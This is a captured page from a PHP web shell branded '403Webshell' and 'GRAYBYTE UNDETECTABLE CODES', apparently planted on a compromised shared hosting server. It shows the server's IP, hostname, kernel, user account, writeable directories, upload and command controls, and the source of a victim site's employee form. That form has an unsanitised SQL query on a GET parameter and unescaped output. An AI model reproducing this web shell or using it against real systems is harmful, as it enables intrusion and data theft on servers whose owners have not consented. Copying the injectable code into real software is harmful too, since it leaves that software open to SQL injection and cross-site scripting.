- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.119.109.60
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/puertode/public_html/oficios/sistema/perfil/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/puertode/public_html/oficios/sistema/perfil/employee.newedit.php
<?php
require_once 'dbconnect/database.class.php';

$objDB = new DataBase;

$id = $_GET['id'];
if($id>0){
  $result = $objDB->Execute("SELECT * FROM crud_employees WHERE id=$id");
  $employee = $result->fetch_assoc();
}
?>

  <form id="frmEmployee" class="form">
    <input type="hidden" name="id" value="<?= $id ?>" />
    <label>
      Nombres
      <input type="text" name="nombres" value="<?php if(isset($employee)) echo $employee['names'] ?>" required />
    </label>
    <label>
      Dirección
      <input type="text" name="direccion" value="<?php if(isset($employee)) echo $employee['address'] ?>" />
    </label>
    <label>
      Fecha registro
      <input type="date" name="fecha_registro" value="<?php if(isset($employee)) echo $employee['date_register'] ?>" />
    </label>
    <label>
      Teléfono
      <input type="tel" name="telefono" value="<?php if(isset($employee)) echo $employee['phone'] ?>" />
    </label>
    <label>
      Salario
      <input type="number" name="salario" value="<?php if(isset($employee)) echo $employee['salary'] ?>" step=".01" />
    </label>
    <label>
      Comentario
      <textarea name="comentario"><?php if(isset($employee)) echo $employee['comment'] ?></textarea>
    </label>
    <button class="button" type="submit">Guardar datos</button>
  </form>
  <a class="hideForm" href="#">Cerrar</a>

Youez - 2016 - github.com/yon3zu
LinuXploit